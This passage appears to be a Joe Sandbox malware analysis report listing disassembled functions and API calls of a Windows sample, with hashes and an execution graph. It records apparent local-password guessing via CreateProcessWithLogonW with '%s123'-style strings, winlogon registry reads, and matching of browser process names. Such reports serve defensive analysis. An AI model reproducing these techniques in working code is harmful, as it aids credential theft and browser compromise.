                                                                                                                                                                                                                      • _snprintf.MSVCRT ref: 00401F28
                                                                                                                                                                                                                      • NetUserGetInfo.NETAPI32(00000000,00000000,00000001,?), ref: 00401F39
                                                                                                                                                                                                                      • NetApiBufferFree.NETAPI32(?), ref: 00401F5A
                                                                                                                                                                                                                      • NetApiBufferFree.NETAPI32(?), ref: 00401F65
                                                                                                                                                                                                                        • Part of subcall function 004018E0: memset.MSVCRT ref: 0040190B
                                                                                                                                                                                                                        • Part of subcall function 004018E0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,759A5430,00000000,?), ref: 00401923
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040194D
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapAlloc.KERNEL32(00000000), ref: 00401950
                                                                                                                                                                                                                        • Part of subcall function 004018E0: memset.MSVCRT ref: 00401963
                                                                                                                                                                                                                        • Part of subcall function 004018E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401988
                                                                                                                                                                                                                        • Part of subcall function 004018E0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 0040199C
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004019BA
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapAlloc.KERNEL32(00000000), ref: 004019BD
                                                                                                                                                                                                                        • Part of subcall function 004018E0: memset.MSVCRT ref: 004019CD
                                                                                                                                                                                                                        • Part of subcall function 004018E0: MultiByteToWideChar.KERNEL32(00000000,00000000,00401F85,000000FF,00000000,00000000), ref: 004019EF
                                                                                                                                                                                                                        • Part of subcall function 004018E0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401A03
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401A23
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapAlloc.KERNEL32(00000000), ref: 00401A2A
                                                                                                                                                                                                                        • Part of subcall function 004018E0: memset.MSVCRT ref: 00401A3A
                                                                                                                                                                                                                        • Part of subcall function 004018E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401A57
                                                                                                                                                                                                                        • Part of subcall function 004018E0: CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00401A8B
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000000,?), ref: 00401A9D
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapValidate.KERNEL32(00000000), ref: 00401AA6
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000000,?), ref: 00401AB2
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapFree.KERNEL32(00000000), ref: 00401AB5
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401AC2
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapValidate.KERNEL32(00000000), ref: 00401AC5
                                                                                                                                                                                                                      • _snprintf.MSVCRT ref: 00401FCA
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401ACE
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapFree.KERNEL32(00000000), ref: 00401AD1
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000000,00401F85), ref: 00401AE1
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapValidate.KERNEL32(00000000), ref: 00401AE4
                                                                                                                                                                                                                        • Part of subcall function 004018E0: GetProcessHeap.KERNEL32(00000000,00401F85), ref: 00401AF1
                                                                                                                                                                                                                        • Part of subcall function 004018E0: HeapFree.KERNEL32(00000000), ref: 00401AF4
                                                                                                                                                                                                                      • _snprintf.MSVCRT ref: 0040200A
                                                                                                                                                                                                                      • _snprintf.MSVCRT ref: 00402046
                                                                                                                                                                                                                      • SwitchToThread.KERNEL32(?,?,00404D80,?,?,?), ref: 0040208F
                                                                                                                                                                                                                      • NetApiBufferFree.NETAPI32(?), ref: 004020B5
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$ByteCharFreeMultiWide$_snprintfmemset$AllocBufferValidate$CreateDisplayFileInfoInformationLogonModuleNameQuerySwitchThreadUserWith
                                                                                                                                                                                                                      • String ID: %s1$%s12$%s123
                                                                                                                                                                                                                      • API String ID: 1588441251-2882894844
                                                                                                                                                                                                                      • Opcode ID: 97f59b3fbf87337b1cbc6ae598f2ad5bd0982248879de21f7b69a44719f2851e
                                                                                                                                                                                                                      • Instruction ID: f170fe93e02ccaf968bc2c6ae71e56240b4678089189b5983d08b015d4f9d182
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 97f59b3fbf87337b1cbc6ae598f2ad5bd0982248879de21f7b69a44719f2851e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 735184B25143016BD331EB54C984FEB73E8ABD8754F404A2EF6846B1D0DB78DA44CBA6
                                                                                                                                                                                                                      Function 004028D0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 34COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GlobalFindAtomA.KERNEL32(Wed Jul 6 06:49:26 20112,?,?,00402E9C), ref: 004028D9
                                                                                                                                                                                                                      • GlobalAddAtomA.KERNEL32(Wed Jul 6 06:49:26 20112), ref: 004028EA
                                                                                                                                                                                                                      • IsUserAnAdmin.SHELL32 ref: 004028F6
                                                                                                                                                                                                                      • RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?), ref: 00402906
                                                                                                                                                                                                                      • IsUserAnAdmin.SHELL32 ref: 0040290C
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AdminAtomGlobalUser$AdjustFindPrivilege
                                                                                                                                                                                                                      • String ID: Pnv$Wed Jul 6 06:49:26 20112$explorer.exe$winlogon.exe
                                                                                                                                                                                                                      • API String ID: 3001685711-2958163460
                                                                                                                                                                                                                      • Opcode ID: 83ac0b8a74455aed3f9fe13c08d3b3a7fcb0d139d0bb709980968f6615d0e93a
                                                                                                                                                                                                                      • Instruction ID: 2c3c2cb6c74497f887580688acf30243e480456bbc90e7420e586ff1c8abd763
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 83ac0b8a74455aed3f9fe13c08d3b3a7fcb0d139d0bb709980968f6615d0e93a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3FF012B07542196AEA1067A1AE0AB5B3A5CDB84790F404177BF04F61D0DAB99C0185FD
                                                                                                                                                                                                                      Function 00402FF0 Relevance: 13.5, APIs: 9, Instructions: 39memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00402FF7
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000300,004036DE,753CE610,00402FDE), ref: 0040300F
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 00403012
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000300), ref: 0040301F
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 00403022
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,004036DE,004036DE,753CE610,00402FDE), ref: 0040302B
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0040302E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,004036DE), ref: 0040303B
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0040303E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$Free$Validate$String
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2629017576-0
                                                                                                                                                                                                                      • Opcode ID: edeb09d6da527b41af017446eb360d9cd81bb1d2aa2956dafed66ea6837698d8
                                                                                                                                                                                                                      • Instruction ID: 103af2a08650daedf0ea572f36775c75d91e7ca6a6ced768a9e875140008d5cd
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: edeb09d6da527b41af017446eb360d9cd81bb1d2aa2956dafed66ea6837698d8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E5F05EB56012117BEA206BB66D8CF572A6CEF88B82F084025B709F2180CA74CE109678
                                                                                                                                                                                                                      Function 004015A0 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004015C4
                                                                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?,7604DB30), ref: 004015CF
                                                                                                                                                                                                                      • Process32First.KERNEL32 ref: 004015F5
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,?), ref: 00401610
                                                                                                                                                                                                                      • Process32Next.KERNEL32(00000000,?), ref: 0040161C
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401638
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040164A
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3955875343-0
                                                                                                                                                                                                                      • Opcode ID: 1da21db6c4adfa57a29160c47196a4ddbfb2d91636da1a720539600d1335a6ad
                                                                                                                                                                                                                      • Instruction ID: d18670d365493a771e2935c97cc000c5a2e18494483a7794571357713e5f98ef
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1da21db6c4adfa57a29160c47196a4ddbfb2d91636da1a720539600d1335a6ad
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4111C6B25043106BD310EF55DC4899BBBD8EBE9361F04453AFA55A3290E335D9448BEA
                                                                                                                                                                                                                      Function 00401420 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040144A
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,?,00402BAE,-00000006,00000000), ref: 00401457
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401463
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                                      • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                                      • API String ID: 1545651562-3277137149
                                                                                                                                                                                                                      • Opcode ID: 846a4d946463fd889953915331e6662e7c5f164914c665561fc20ec9cc3dfa3e
                                                                                                                                                                                                                      • Instruction ID: 5661f09ceaf7dd6985fdec3726855c2d4268d42b19af7d6053b1c23afd98fc53
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 846a4d946463fd889953915331e6662e7c5f164914c665561fc20ec9cc3dfa3e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3001DB716003049BC714ABBAAC829D6B79DDF89745300813AEB19E32E2C635DC488BAD
                                                                                                                                                                                                                      Function 00401390 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040139B
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,?,00402BA2,00000000), ref: 004013AC
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004013BC
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                                      • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                                      • API String ID: 1545651562-3277137149
                                                                                                                                                                                                                      • Opcode ID: ffa31b1aa032498b302ac31cd015523b39c7887b3f6490af6b71b29526461ec5
                                                                                                                                                                                                                      • Instruction ID: 972971b60caab807df67e590393efcb4d1d6a3813561f3a0b79f06a1da21d750
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ffa31b1aa032498b302ac31cd015523b39c7887b3f6490af6b71b29526461ec5
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69E01AB06203049BEB10AFB1AD09A5637DC9FC47413048032BB09F21A1DA38C8248B6D

                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                      Execution Coverage:0.8%
                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                      Signature Coverage:0%
                                                                                                                                                                                                                      Total number of Nodes:40
                                                                                                                                                                                                                      Total number of Limit Nodes:0
                                                                                                                                                                                                                      execution_graph 51904 c11360 51943 c111d0 51904->51943 51906 c1136f GetPEB 51907 c11090 GetPEB 51906->51907 51908 c11394 51907->51908 51909 c11000 GetPEB 51908->51909 51910 c113a0 51909->51910 51911 c11090 GetPEB 51910->51911 51912 c113a6 51911->51912 51913 c11619 51912->51913 51914 c113bc GetPEB 51912->51914 51916 c11000 GetPEB 51913->51916 51915 c11090 GetPEB 51914->51915 51920 c113d8 51915->51920 51917 c11625 51916->51917 51918 c11090 GetPEB 51917->51918 51919 c1162b 51918->51919 51920->51913 51921 c11000 GetPEB 51920->51921 51922 c1141b 51921->51922 51923 c11090 GetPEB 51922->51923 51924 c11421 51923->51924 51925 c11000 GetPEB 51924->51925 51926 c11441 51925->51926 51927 c11090 GetPEB 51926->51927 51941 c11447 51927->51941 51928 c1158c 51929 c11000 GetPEB 51928->51929 51930 c115bd 51929->51930 51931 c11090 GetPEB 51930->51931 51932 c115c3 51931->51932 51934 c112c0 GetPEB 51932->51934 51933 c11000 GetPEB 51933->51941 51935 c115de 51934->51935 51935->51913 51937 c11000 GetPEB 51935->51937 51936 c11090 GetPEB 51936->51941 51938 c11608 51937->51938 51939 c11090 GetPEB 51938->51939 51940 c1160e 51939->51940 51942 27077c0 2147 API calls 51940->51942 51941->51913 51941->51928 51941->51933 51941->51936 51942->51913 51945 c111d5 51943->51945

                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                      Function 02706CA0 Relevance: 296.7, APIs: 135, Strings: 34, Instructions: 960threadmemorysynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 026F3300: #680.SHELL32 ref: 026F3325
                                                                                                                                                                                                                        • Part of subcall function 026F3300: GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 026F3344
                                                                                                                                                                                                                        • Part of subcall function 026F3300: PathAddBackslashA.SHLWAPI(?), ref: 026F3351
                                                                                                                                                                                                                        • Part of subcall function 026F3300: GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 026F336E
                                                                                                                                                                                                                        • Part of subcall function 026F3300: _snprintf.MSVCRT(?,00000104,02735748,000FF0FF), ref: 026F3389
                                                                                                                                                                                                                        • Part of subcall function 026F3300: RegOpenKeyExA.ADVAPI32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 026F33A7
                                                                                                                                                                                                                        • Part of subcall function 026F3300: RegQueryValueExA.ADVAPI32(00000000,userinit,00000000,00000001,02749B58,00000104), ref: 026F33FC
                                                                                                                                                                                                                        • Part of subcall function 026F3300: RegCloseKey.ADVAPI32(00000000), ref: 026F340A
                                                                                                                                                                                                                        • Part of subcall function 02715A50: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02715A7F
                                                                                                                                                                                                                        • Part of subcall function 02715A50: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02715AB8
                                                                                                                                                                                                                        • Part of subcall function 02715A50: _snprintf.MSVCRT(D900DAA0a,00000104,02735748,?,?), ref: 02715B23
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,02749D68), ref: 02706CC0
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(02749D68), ref: 02706CCB
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02706CDF
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02706CFB
                                                                                                                                                                                                                      • GetCommandLineA.KERNEL32 ref: 02706D05
                                                                                                                                                                                                                      • GetCommandLineW.KERNEL32 ref: 02706D3D
                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(0273FB68), ref: 02706D65
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02706D86
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 02706DA4
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?), ref: 02706DC5
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(00000000,00000006,00000010,00000000,00000000,00000000,00000000), ref: 02706DDF
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 02706DE9
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02703530,00000000,00000000,00000000), ref: 02706E38
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02706E4C
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02706E5D
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02707DD0,00000000,00000000,00000000), ref: 02706E8C
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02706EA0
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02706EB1
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02708080,00000000,00000000,00000000), ref: 02706EC6
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,D900D98Aa), ref: 02706ED6
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 02706EF6
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?), ref: 02706F17
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(D900D98Aa,00000006,00000010,00000000,00000000,00000000,00000000), ref: 02706F34
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 02706F3E
                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(0273FB80), ref: 02706F49
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027079D0,00000000,00000000,00000000), ref: 02706F5B
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02706F6B
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02706F7C
                                                                                                                                                                                                                        • Part of subcall function 026F6DE0: memset.MSVCRT(?,00000000,0000040C,00000000,00000000), ref: 026F6E00
                                                                                                                                                                                                                        • Part of subcall function 026F6DE0: Sleep.KERNEL32(000001F4,?,00000000,00000000), ref: 026F6E1C
                                                                                                                                                                                                                        • Part of subcall function 026F6DE0: CreateThread.KERNEL32(00000000,00000000,026F6A90,00000000,00000000,00000000,74DF0F10,?,00000000,00000000), ref: 026F6E78
                                                                                                                                                                                                                        • Part of subcall function 026F6DE0: WaitForMultipleObjects.KERNEL32(00000040,?,00000001,000000FF,74DF0F10,?,00000000,00000000), ref: 026F6EA0
                                                                                                                                                                                                                        • Part of subcall function 026F6DE0: CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 026F6EB8
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02706970,00000000,00000000,00000000), ref: 02706F91
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02706FA1
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02706FB2
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027054B0,00000000,00000000,00000000,D900DAC6a), ref: 02706FDC
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02706FF0
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707001
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02707010
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02707013
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02707020
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02707023
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02707047
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02707059
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000), ref: 02707065
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02707074
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\svchost.exe), ref: 02707090
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\iexplore.exe), ref: 027070B7
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\java.exe), ref: 027070CD
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\javaw.exe), ref: 027070E3
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\javaws.exe), ref: 027070F9
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\opera.exe), ref: 0270710F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\firefox.exe), ref: 02707125
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\maxthon.exe), ref: 0270713B
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\avant.exe), ref: 02707151
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\mnp.exe), ref: 02707167
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\safari.exe), ref: 0270717D
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\netscape.exe), ref: 02707193
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\tbb-firefox.exe), ref: 027071A9
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\frd.exe), ref: 027071BF
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\chrome.exe), ref: 027071D5
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\explorer.exe), ref: 027071EB
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270B8F0,00000000,00000000,00000000,00000000), ref: 02707219
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707233
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707240
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270EF80,00000000,00000000,00000000), ref: 02707255
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707269
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707276
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02710560,00000000,00000000,00000000), ref: 0270728B
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270729F
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027072AC
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02710E20,00000000,00000000,00000000), ref: 027072C1
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 027072D5
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027072E2
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270F6A0,00000000,00000000,00000000), ref: 027072F7
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270730B
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707318
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270CB80,00000000,00000000,00000000), ref: 0270732D
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707341
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270734E
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270CC20,00000000,00000000,00000000), ref: 02707363
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707377
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707384
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02711590,00000000,00000000,00000000), ref: 02707399
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 027073AD
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027073BA
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027124D0,00000000,00000000,00000000), ref: 027073CF
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 027073E3
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027073F0
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027131C0,00000000,00000000,00000000), ref: 02707405
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707419
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707426
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027132B0,00000000,00000000,00000000), ref: 0270743B
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270744F
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270745C
